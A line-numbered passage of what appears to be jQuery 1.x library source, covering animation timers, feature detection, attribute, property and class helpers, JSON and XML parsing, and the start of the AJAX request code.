4907 if (type !== false) {
4908 type = type || "fx"
4909 }
4910 return this.each(function() {
4911 var index, data = jQuery._data(this),
4912 queue = data[type + "queue"],
4913 hooks = data[type + "queueHooks"],
4914 timers = jQuery.timers,
4915 length = queue ? queue.length : 0;
4916 data.finish = true;
4917 jQuery.queue(this, type, []);
4918 if (hooks && hooks.stop) {
4919 hooks.stop.call(this, true)
4920 }
4921 for (index = timers.length; index--;) {
4922 if (timers[index].elem === this && timers[index].queue === type) {
4923 timers[index].anim.stop(true);
4924 timers.splice(index, 1)
4925 }
4926 }
4927 for (index = 0; index < length; index++) {
4928 if (queue[index] && queue[index].finish) {
4929 queue[index].finish.call(this)
4930 }
4931 }
4932 delete data.finish
4933 })
4934 }
4935 });
4936 jQuery.each(["toggle", "show", "hide"], function(i, name) {
4937 var cssFn = jQuery.fn[name];
4938 jQuery.fn[name] = function(speed, easing, callback) {
4939 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
4940 }
4941 });
4942 jQuery.each({
4943 slideDown: genFx("show"),
4944 slideUp: genFx("hide"),
4945 slideToggle: genFx("toggle"),
4946 fadeIn: {
4947 opacity: "show"
4948 },
4949 fadeOut: {
4950 opacity: "hide"
4951 },
4952 fadeToggle: {
4953 opacity: "toggle"
4954 }
4955 }, function(name, props) {
4956 jQuery.fn[name] = function(speed, easing, callback) {
4957 return this.animate(props, speed, easing, callback)
4958 }
4959 });
4960 jQuery.timers = [];
4961 jQuery.fx.tick = function() {
4962 var timer, timers = jQuery.timers,
4963 i = 0;
4964 fxNow = jQuery.now();
4965 for (; i < timers.length; i++) {
4966 timer = timers[i];
4967 if (!timer() && timers[i] === timer) {
4968 timers.splice(i--, 1)
4969 }
4970 }
4971 if (!timers.length) {
4972 jQuery.fx.stop()
4973 }
4974 fxNow = undefined
4975 };
4976 jQuery.fx.timer = function(timer) {
4977 jQuery.timers.push(timer);
4978 if (timer()) {
4979 jQuery.fx.start()
4980 } else {
4981 jQuery.timers.pop()
4982 }
4983 };
4984 jQuery.fx.interval = 13;
4985 jQuery.fx.start = function() {
4986 if (!timerId) {
4987 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
4988 }
4989 };
4990 jQuery.fx.stop = function() {
4991 clearInterval(timerId);
4992 timerId = null
4993 };
4994 jQuery.fx.speeds = {
4995 slow: 600,
4996 fast: 200,
4997 _default: 400
4998 };
4999 jQuery.fn.delay = function(time, type) {
5000 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
5001 type = type || "fx";
5002 return this.queue(type, function(next, hooks) {
5003 var timeout = setTimeout(next, time);
5004 hooks.stop = function() {
5005 clearTimeout(timeout)
5006 }
5007 })
5008 };
5009 (function() {
5010 var input, div, select, a, opt;
5011 div = document.createElement("div");
5012 div.setAttribute("className", "t");
5013 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
5014 a = div.getElementsByTagName("a")[0];
5015 select = document.createElement("select");
5016 opt = select.appendChild(document.createElement("option"));
5017 input = div.getElementsByTagName("input")[0];
5018 a.style.cssText = "top:1px";
5019 support.getSetAttribute = div.className !== "t";
5020 support.style = /top/.test(a.getAttribute("style"));
5021 support.hrefNormalized = a.getAttribute("href") === "/a";
5022 support.checkOn = !!input.value;
5023 support.optSelected = opt.selected;
5024 support.enctype = !!document.createElement("form").enctype;
5025 select.disabled = true;
5026 support.optDisabled = !opt.disabled;
5027 input = document.createElement("input");
5028 input.setAttribute("value", "");
5029 support.input = input.getAttribute("value") === "";
5030 input.value = "t";
5031 input.setAttribute("type", "radio");
5032 support.radioValue = input.value === "t"
5033 })();
5034 var rreturn = /\r/g;
5035 jQuery.fn.extend({
5036 val: function(value) {
5037 var hooks, ret, isFunction, elem = this[0];
5038 if (!arguments.length) {
5039 if (elem) {
5040 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
5041 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
5042 return ret
5043 }
5044 ret = elem.value;
5045 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
5046 }
5047 return
5048 }
5049 isFunction = jQuery.isFunction(value);
5050 return this.each(function(i) {
5051 var val;
5052 if (this.nodeType !== 1) {
5053 return
5054 }
5055 if (isFunction) {
5056 val = value.call(this, i, jQuery(this).val())
5057 } else {
5058 val = value
5059 }
5060 if (val == null) {
5061 val = ""
5062 } else if (typeof val === "number") {
5063 val += ""
5064 } else if (jQuery.isArray(val)) {
5065 val = jQuery.map(val, function(value) {
5066 return value == null ? "" : value + ""
5067 })
5068 }
5069 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
5070 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
5071 this.value = val
5072 }
5073 })
5074 }
5075 });
5076 jQuery.extend({
5077 valHooks: {
5078 option: {
5079 get: function(elem) {
5080 var val = jQuery.find.attr(elem, "value");
5081 return val != null ? val : jQuery.trim(jQuery.text(elem))
5082 }
5083 },
5084 select: {
5085 get: function(elem) {
5086 var value, option, options = elem.options,
5087 index = elem.selectedIndex,
5088 one = elem.type === "select-one" || index < 0,
5089 values = one ? null : [],
5090 max = one ? index + 1 : options.length,
5091 i = index < 0 ? max : one ? index : 0;
5092 for (; i < max; i++) {
5093 option = options[i];
5094 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5095 value = jQuery(option).val();
5096 if (one) {
5097 return value
5098 }
5099 values.push(value)
5100 }
5101 }
5102 return values
5103 },
5104 set: function(elem, value) {
5105 var optionSet, option, options = elem.options,
5106 values = jQuery.makeArray(value),
5107 i = options.length;
5108 while (i--) {
5109 option = options[i];
5110 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5111 try {
5112 option.selected = optionSet = true
5113 } catch (_) {
5114 option.scrollHeight
5115 }
5116 } else {
5117 option.selected = false
5118 }
5119 }
5120 if (!optionSet) {
5121 elem.selectedIndex = -1
5122 }
5123 return options
5124 }
5125 }
5126 }
5127 });
5128 jQuery.each(["radio", "checkbox"], function() {
5129 jQuery.valHooks[this] = {
5130 set: function(elem, value) {
5131 if (jQuery.isArray(value)) {
5132 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5133 }
5134 }
5135 };
5136 if (!support.checkOn) {
5137 jQuery.valHooks[this].get = function(elem) {
5138 return elem.getAttribute("value") === null ? "on" : elem.value
5139 }
5140 }
5141 });
5142 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5143 ruseDefault = /^(?:checked|selected)$/i,
5144 getSetAttribute = support.getSetAttribute,
5145 getSetInput = support.input;
5146 jQuery.fn.extend({
5147 attr: function(name, value) {
5148 return access(this, jQuery.attr, name, value, arguments.length > 1)
5149 },
5150 removeAttr: function(name) {
5151 return this.each(function() {
5152 jQuery.removeAttr(this, name)
5153 })
5154 }
5155 });
5156 jQuery.extend({
5157 attr: function(elem, name, value) {
5158 var hooks, ret, nType = elem.nodeType;
5159 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5160 return
5161 }
5162 if (typeof elem.getAttribute === strundefined) {
5163 return jQuery.prop(elem, name, value)
5164 }
5165 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5166 name = name.toLowerCase();
5167 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5168 }
5169 if (value !== undefined) {
5170 if (value === null) {
5171 jQuery.removeAttr(elem, name)
5172 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5173 return ret
5174 } else {
5175 elem.setAttribute(name, value + "");
5176 return value
5177 }
5178 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5179 return ret
5180 } else {
5181 ret = jQuery.find.attr(elem, name);
5182 return ret == null ? undefined : ret
5183 }
5184 },
5185 removeAttr: function(elem, value) {
5186 var name, propName, i = 0,
5187 attrNames = value && value.match(rnotwhite);
5188 if (attrNames && elem.nodeType === 1) {
5189 while ((name = attrNames[i++])) {
5190 propName = jQuery.propFix[name] || name;
5191 if (jQuery.expr.match.bool.test(name)) {
5192 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5193 elem[propName] = false
5194 } else {
5195 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5196 }
5197 } else {
5198 jQuery.attr(elem, name, "")
5199 }
5200 elem.removeAttribute(getSetAttribute ? name : propName)
5201 }
5202 }
5203 },
5204 attrHooks: {
5205 type: {
5206 set: function(elem, value) {
5207 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5208 var val = elem.value;
5209 elem.setAttribute("type", value);
5210 if (val) {
5211 elem.value = val
5212 }
5213 return value
5214 }
5215 }
5216 }
5217 }
5218 });
5219 boolHook = {
5220 set: function(elem, value, name) {
5221 if (value === false) {
5222 jQuery.removeAttr(elem, name)
5223 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5224 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5225 } else {
5226 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5227 }
5228 return name
5229 }
5230 };
5231 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5232 var getter = attrHandle[name] || jQuery.find.attr;
5233 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5234 var ret, handle;
5235 if (!isXML) {
5236 handle = attrHandle[name];
5237 attrHandle[name] = ret;
5238 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5239 attrHandle[name] = handle
5240 }
5241 return ret
5242 } : function(elem, name, isXML) {
5243 if (!isXML) {
5244 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5245 }
5246 }
5247 });
5248 if (!getSetInput || !getSetAttribute) {
5249 jQuery.attrHooks.value = {
5250 set: function(elem, value, name) {
5251 if (jQuery.nodeName(elem, "input")) {
5252 elem.defaultValue = value
5253 } else {
5254 return nodeHook && nodeHook.set(elem, value, name)
5255 }
5256 }
5257 }
5258 }
5259 if (!getSetAttribute) {
5260 nodeHook = {
5261 set: function(elem, value, name) {
5262 var ret = elem.getAttributeNode(name);
5263 if (!ret) {
5264 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5265 }
5266 ret.value = value += "";
5267 if (name === "value" || value === elem.getAttribute(name)) {
5268 return value
5269 }
5270 }
5271 };
5272 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5273 var ret;
5274 if (!isXML) {
5275 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5276 }
5277 };
5278 jQuery.valHooks.button = {
5279 get: function(elem, name) {
5280 var ret = elem.getAttributeNode(name);
5281 if (ret && ret.specified) {
5282 return ret.value
5283 }
5284 },
5285 set: nodeHook.set
5286 };
5287 jQuery.attrHooks.contenteditable = {
5288 set: function(elem, value, name) {
5289 nodeHook.set(elem, value === "" ? false : value, name)
5290 }
5291 };
5292 jQuery.each(["width", "height"], function(i, name) {
5293 jQuery.attrHooks[name] = {
5294 set: function(elem, value) {
5295 if (value === "") {
5296 elem.setAttribute(name, "auto");
5297 return value
5298 }
5299 }
5300 }
5301 })
5302 }
5303 if (!support.style) {
5304 jQuery.attrHooks.style = {
5305 get: function(elem) {
5306 return elem.style.cssText || undefined
5307 },
5308 set: function(elem, value) {
5309 return (elem.style.cssText = value + "")
5310 }
5311 }
5312 }
5313 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5314 rclickable = /^(?:a|area)$/i;
5315 jQuery.fn.extend({
5316 prop: function(name, value) {
5317 return access(this, jQuery.prop, name, value, arguments.length > 1)
5318 },
5319 removeProp: function(name) {
5320 name = jQuery.propFix[name] || name;
5321 return this.each(function() {
5322 try {
5323 this[name] = undefined;
5324 delete this[name]
5325 } catch (e) {}
5326 })
5327 }
5328 });
5329 jQuery.extend({
5330 propFix: {
5331 "for": "htmlFor",
5332 "class": "className"
5333 },
5334 prop: function(elem, name, value) {
5335 var ret, hooks, notxml, nType = elem.nodeType;
5336 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5337 return
5338 }
5339 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5340 if (notxml) {
5341 name = jQuery.propFix[name] || name;
5342 hooks = jQuery.propHooks[name]
5343 }
5344 if (value !== undefined) {
5345 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5346 } else {
5347 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5348 }
5349 },
5350 propHooks: {
5351 tabIndex: {
5352 get: function(elem) {
5353 var tabindex = jQuery.find.attr(elem, "tabindex");
5354 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5355 }
5356 }
5357 }
5358 });
5359 if (!support.hrefNormalized) {
5360 jQuery.each(["href", "src"], function(i, name) {
5361 jQuery.propHooks[name] = {
5362 get: function(elem) {
5363 return elem.getAttribute(name, 4)
5364 }
5365 }
5366 })
5367 }
5368 if (!support.optSelected) {
5369 jQuery.propHooks.selected = {
5370 get: function(elem) {
5371 var parent = elem.parentNode;
5372 if (parent) {
5373 parent.selectedIndex;
5374 if (parent.parentNode) {
5375 parent.parentNode.selectedIndex
5376 }
5377 }
5378 return null
5379 }
5380 }
5381 }
5382 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5383 jQuery.propFix[this.toLowerCase()] = this
5384 });
5385 if (!support.enctype) {
5386 jQuery.propFix.enctype = "encoding"
5387 }
5388 var rclass = /[\t\r\n\f]/g;
5389 jQuery.fn.extend({
5390 addClass: function(value) {
5391 var classes, elem, cur, clazz, j, finalValue, i = 0,
5392 len = this.length,
5393 proceed = typeof value === "string" && value;
5394 if (jQuery.isFunction(value)) {
5395 return this.each(function(j) {
5396 jQuery(this).addClass(value.call(this, j, this.className))
5397 })
5398 }
5399 if (proceed) {
5400 classes = (value || "").match(rnotwhite) || [];
5401 for (; i < len; i++) {
5402 elem = this[i];
5403 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5404 if (cur) {
5405 j = 0;
5406 while ((clazz = classes[j++])) {
5407 if (cur.indexOf(" " + clazz + " ") < 0) {
5408 cur += clazz + " "
5409 }
5410 }
5411 finalValue = jQuery.trim(cur);
5412 if (elem.className !== finalValue) {
5413 elem.className = finalValue
5414 }
5415 }
5416 }
5417 }
5418 return this
5419 },
5420 removeClass: function(value) {
5421 var classes, elem, cur, clazz, j, finalValue, i = 0,
5422 len = this.length,
5423 proceed = arguments.length === 0 || typeof value === "string" && value;
5424 if (jQuery.isFunction(value)) {
5425 return this.each(function(j) {
5426 jQuery(this).removeClass(value.call(this, j, this.className))
5427 })
5428 }
5429 if (proceed) {
5430 classes = (value || "").match(rnotwhite) || [];
5431 for (; i < len; i++) {
5432 elem = this[i];
5433 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5434 if (cur) {
5435 j = 0;
5436 while ((clazz = classes[j++])) {
5437 while (cur.indexOf(" " + clazz + " ") >= 0) {
5438 cur = cur.replace(" " + clazz + " ", " ")
5439 }
5440 }
5441 finalValue = value ? jQuery.trim(cur) : "";
5442 if (elem.className !== finalValue) {
5443 elem.className = finalValue
5444 }
5445 }
5446 }
5447 }
5448 return this
5449 },
5450 toggleClass: function(value, stateVal) {
5451 var type = typeof value;
5452 if (typeof stateVal === "boolean" && type === "string") {
5453 return stateVal ? this.addClass(value) : this.removeClass(value)
5454 }
5455 if (jQuery.isFunction(value)) {
5456 return this.each(function(i) {
5457 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5458 })
5459 }
5460 return this.each(function() {
5461 if (type === "string") {
5462 var className, i = 0,
5463 self = jQuery(this),
5464 classNames = value.match(rnotwhite) || [];
5465 while ((className = classNames[i++])) {
5466 if (self.hasClass(className)) {
5467 self.removeClass(className)
5468 } else {
5469 self.addClass(className)
5470 }
5471 }
5472 } else if (type === strundefined || type === "boolean") {
5473 if (this.className) {
5474 jQuery._data(this, "__className__", this.className)
5475 }
5476 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5477 }
5478 })
5479 },
5480 hasClass: function(selector) {
5481 var className = " " + selector + " ",
5482 i = 0,
5483 l = this.length;
5484 for (; i < l; i++) {
5485 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5486 return true
5487 }
5488 }
5489 return false
5490 }
5491 });
5492 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5493 jQuery.fn[name] = function(data, fn) {
5494 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5495 }
5496 });
5497 jQuery.fn.extend({
5498 hover: function(fnOver, fnOut) {
5499 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5500 },
5501 bind: function(types, data, fn) {
5502 return this.on(types, null, data, fn)
5503 },
5504 unbind: function(types, fn) {
5505 return this.off(types, null, fn)
5506 },
5507 delegate: function(selector, types, data, fn) {
5508 return this.on(types, selector, data, fn)
5509 },
5510 undelegate: function(selector, types, fn) {
5511 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5512 }
5513 });
5514 var nonce = jQuery.now();
5515 var rquery = (/\?/);
5516 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5517 jQuery.parseJSON = function(data) {
5518 if (window.JSON && window.JSON.parse) {
5519 return window.JSON.parse(data + "")
5520 }
5521 var requireNonComma, depth = null,
5522 str = jQuery.trim(data + "");
5523 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5524 if (requireNonComma && comma) {
5525 depth = 0
5526 }
5527 if (depth === 0) {
5528 return token
5529 }
5530 requireNonComma = open || comma;
5531 depth += !close - !open;
5532 return ""
5533 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5534 };
5535 jQuery.parseXML = function(data) {
5536 var xml, tmp;
5537 if (!data || typeof data !== "string") {
5538 return null
5539 }
5540 try {
5541 if (window.DOMParser) {
5542 tmp = new DOMParser();
5543 xml = tmp.parseFromString(data, "text/xml")
5544 } else {
5545 xml = new ActiveXObject("Microsoft.XMLDOM");
5546 xml.async = "false";
5547 xml.loadXML(data)
5548 }
5549 } catch (e) {
5550 xml = undefined
5551 }
5552 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5553 jQuery.error("Invalid XML: " + data)
5554 }
5555 return xml
5556 };
5557 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5558 rts = /([?&])_=[^&]*/,
5559 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5560 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5561 rnoContent = /^(?:GET|HEAD)$/,
5562 rprotocol = /^\/\//,
5563 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5564 prefilters = {},
5565 transports = {},
5566 allTypes = "*/".concat("*");
5567 try {
5568 ajaxLocation = location.href
5569 } catch (e) {
5570 ajaxLocation = document.createElement("a");
5571 ajaxLocation.href = "";
5572 ajaxLocation = ajaxLocation.href
5573 }
5574 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5575
5576 function addToPrefiltersOrTransports(structure) {
5577 return function(dataTypeExpression, func) {
5578 if (typeof dataTypeExpression !== "string") {
5579 func = dataTypeExpression;
5580 dataTypeExpression = "*"
5581 }
5582 var dataType, i = 0,
5583 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5584 if (jQuery.isFunction(func)) {
5585 while ((dataType = dataTypes[i++])) {
5586 if (dataType.charAt(0) === "+") {
5587 dataType = dataType.slice(1) || "*";
5588 (structure[dataType] = structure[dataType] || []).unshift(func)
5589 } else {
5590 (structure[dataType] = structure[dataType] || []).push(func)
5591 }
5592 }
5593 }
5594 }
5595 }
5596
5597 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5598 var inspected = {},
5599 seekingTransport = (structure === transports);
5600
5601 function inspect(dataType) {
5602 var selected;
5603 inspected[dataType] = true;
5604 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5605 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5606 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5607 options.dataTypes.unshift(dataTypeOrTransport);
5608 inspect(dataTypeOrTransport);
5609 return false
5610 } else if (seekingTransport) {
5611 return !(selected = dataTypeOrTransport)
5612 }
5613 });
5614 return selected
5615 }
5616 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5617 }
5618
5619 function ajaxExtend(target, src) {
5620 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5621 for (key in src) {
5622 if (src[key] !== undefined) {
5623 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5624 }
5625 }
5626 if (deep) {
5627 jQuery.extend(true, target, deep)
5628 }
5629 return target
5630 }
5631
5632 function ajaxHandleResponses(s, jqXHR, responses) {
5633 var firstDataType, ct, finalDataType, type, contents = s.contents,
5634 dataTypes = s.dataTypes;
5635 while (dataTypes[0] === "*") {
5636 dataTypes.shift();
5637 if (ct === undefined) {
5638 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5639 }
5640 }
5641 if (ct) {
5642 for (type in contents) {
5643 if (contents[type] && contents[type].test(ct)) {
5644 dataTypes.unshift(type);
5645 break
5646 }
5647 }
5648 }
5649 if (dataTypes[0] in responses) {
5650 finalDataType = dataTypes[0]
5651 } else {
5652 for (type in responses) {
5653 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5654 finalDataType = type;
5655 break
5656 }
5657 if (!firstDataType) {
5658 firstDataType = type
5659 }
5660 }
5661 finalDataType = finalDataType || firstDataType
5662 }
5663 if (finalDataType) {
5664 if (finalDataType !== dataTypes[0]) {
5665 dataTypes.unshift(finalDataType)
5666 }
5667 return responses[finalDataType]
5668 }
5669 }
5670
5671 function ajaxConvert(s, response, jqXHR, isSuccess) {
5672 var conv2, current, conv, tmp, prev, converters = {},
5673 dataTypes = s.dataTypes.slice();
5674 if (dataTypes[1]) {
5675 for (conv in s.converters) {
5676 converters[conv.toLowerCase()] = s.converters[conv]
5677 }
5678 }
5679 current = dataTypes.shift();
5680 while (current) {
5681 if (s.responseFields[current]) {
5682 jqXHR[s.responseFields[current]] = response
5683 }
5684 if (!prev && isSuccess && s.dataFilter) {
5685 response = s.dataFilter(response, s.dataType)
5686 }
5687 prev = current;
5688 current = dataTypes.shift();
5689 if (current) {
5690 if (current === "*") {
5691 current = prev
5692 } else if (prev !== "*" && prev !== current) {
5693 conv = converters[prev + " " + current] || converters["* " + current];
5694 if (!conv) {
5695 for (conv2 in converters) {
5696 tmp = conv2.split(" ");
5697 if (tmp[1] === current) {
5698 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5699 if (conv) {
5700 if (conv === true) {
5701 conv = converters[conv2]
5702 } else if (converters[conv2] !== true) {
5703 current = tmp[0];
5704 dataTypes.unshift(tmp[1])
5705 }
5706 break
5707 }
5708 }
5709 }
5710 }
5711 if (conv !== true) {
5712 if (conv && s["throws"]) {
5713 response = conv(response)
5714 } else {
5715 try {
5716 response = conv(response)
5717 } catch (e) {
5718 return {
5719 state: "parsererror",
5720 error: conv ? e : "No conversion from " + prev + " to " + current
5721 }
5722 }
5723 }
5724 }
5725 }
5726 }
5727 }
5728 return {
5729 state: "success",
5730 data: response
5731 }
5732 }
5733 jQuery.extend({
5734 active: 0,
5735 lastModified: {},
5736 etag: {},
5737 ajaxSettings: {
5738 url: ajaxLocation,
5739 type: "GET",
5740 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5741 global: true,
5742 processData: true,
5743 async: true,
5744 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5745 accepts: {
5746 "*": allTypes,
5747 text: "text/plain",
5748 html: "text/html",
5749 xml: "application/xml, text/xml",
5750 json: "application/json, text/javascript"
5751 },
5752 contents: {
5753 xml: /xml/,
5754 html: /html/,
5755 json: /json/
5756 },
5757 responseFields: {
5758 xml: "responseXML",
5759 text: "responseText",
5760 json: "responseJSON"
5761 },
5762 converters: {
5763 "* text": String,
5764 "text html": true,
5765 "text json": jQuery.parseJSON,
5766 "text xml": jQuery.parseXML
5767 },
5768 flatOptions: {
5769 url: true,
5770 context: true
5771 }
5772 },
5773 ajaxSetup: function(target, settings) {
5774 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5775 },
5776 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5777 ajaxTransport: addToPrefiltersOrTransports(transports),
5778 ajax: function(url, options) {
5779 if (typeof url === "object") {
5780 options = url;
5781 url = undefined
5782 }
5783 options = options || {};
5784 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5785 callbackContext = s.context || s,
5786 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5787 deferred = jQuery.Deferred(),
5788 completeDeferred = jQuery.Callbacks("once memory"),
5789 statusCode = s.statusCode || {},
5790 requestHeaders = {},
5791 requestHeadersNames = {},
5792 state = 0,
5793 strAbort = "canceled",
5794 jqXHR = {
5795 readyState: 0,
5796 getResponseHeader: function(key) {
5797 var match;
5798 if (state === 2) {
5799 if (!responseHeaders) {
5800 responseHeaders = {};
5801 while ((match = rheaders.exec(responseHeadersString))) {
5802 responseHeaders[match[1].toLowerCase()] = match[2]
5803 }
5804 }
5805 match = responseHeaders[key.toLowerCase()]
5806 }
5807 return match == null ? null : match
5808 },
5809 getAllResponseHeaders: function() {
5810 return state === 2 ? responseHeadersString : null
5811 },
5812 setRequestHeader: function(name, value) {
5813 var lname = name.toLowerCase();
5814 if (!state) {
5815 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5816 requestHeaders[name] = value
5817 }
5818 return this
5819 },
5820 overrideMimeType: function(type) {
5821 if (!state) {
5822 s.mimeType = type
5823 }
5824 return this
5825 },
5826 statusCode: function(map) {
5827 var code;
5828 if (map) {
5829 if (state < 2) {
5830 for (code in map) {
5831 statusCode[code] = [statusCode[code], map[code]]
5832 }
5833 } else {
5834 jqXHR.always(map[jqXHR.status])
5835 }
5836 }
5837 return this
5838 },
5839 abort: function(statusText) {
5840 var finalText = statusText || strAbort;
5841 if (transport) {
5842 transport.abort(finalText)
5843 }
5844 done(0, finalText);
5845 return this
5846 }
5847 };
5848 deferred.promise(jqXHR).complete = completeDeferred.add;
5849 jqXHR.success = jqXHR.done;
5850 jqXHR.error = jqXHR.fail;
5851 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5852 s.type = options.method || options.type || s.method || s.type;
5853 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5854 if (s.crossDomain == null) {
5855 parts = rurl.exec(s.url.toLowerCase());
5856 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5857 }
5858 if (s.data && s.processData && typeof s.data !== "string") {
5859 s.data = jQuery.param(s.data, s.traditional)
5860 }
5861 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5862 if (state === 2) {
5863 return jqXHR
5864 }
5865 fireGlobals = jQuery.event && s.global;
5866 if (fireGlobals && jQuery.active++ === 0) {
5867 jQuery.event.trigger("ajaxStart")
5868 }
5869 s.type = s.type.toUpperCase();
5870 s.hasContent = !rnoContent.test(s.type);
5871 cacheURL = s.url;
5872 if (!s.hasContent) {
5873 if (s.data) {
5874 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5875 delete s.data
5876 }
5877 if (s.cache === false) {
5878 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5879 }
5880 }
5881 if (s.ifModified) {
5882 if (jQuery.lastModified[cacheURL]) {
5883 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5884 }
5885 if (jQuery.etag[cacheURL]) {
5886 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5887 }
5888 }
5889 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5890 jqXHR.setRequestHeader("Content-Type", s.contentType)
5891 }
